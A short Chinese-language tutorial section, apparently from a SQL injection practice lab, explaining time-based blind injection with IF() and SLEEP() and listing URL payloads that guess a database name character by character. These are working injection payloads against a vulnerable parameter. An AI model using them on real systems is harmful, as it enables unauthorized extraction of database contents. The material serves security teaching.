在某些情况下,不论你输入什么,页面的回显内容完全一样,这时候就需要使用其他手段执行注入,本节要练习的注入方法为时间盲注。
IF(arg1,arg2,arg3)
SQL中的条件执行语句,用法为,如果满足arg1的条件就执行arg2,反之执行arg3
SLEEP(arg)
arg的单位是秒,如SLEEP(1),即为系统等待1秒。
与布尔盲注原理类似,我们可以构造这样的查询
IF(“我的猜测”,sleep(1),1)
如果我的猜测正确,就等待1秒,否则就不等待。
这时,虽然服务器不会针对我们的查询返回任何可见信息,但是如果"我的猜测",是正确的话,服务器就会执行sleep(1)的命令,通过这个我们依然可以得知数据库的详细信息。
实际应用:
?id=1' AND if (substr(database(),1,1)='s',sleep(1),1) --+
?id=1' AND if (substr(database(),1,2)='se',sleep(1),1) --+
?id=1' AND if (substr(database(),1,3)='sec',sleep(1),1) --+
.
.
.
?id=1' AND if (substr(database(),1,8)='security',sleep(1),1) --+
就爆出数据库名,表名字段名及数据的爆破同理。
至此本节结束。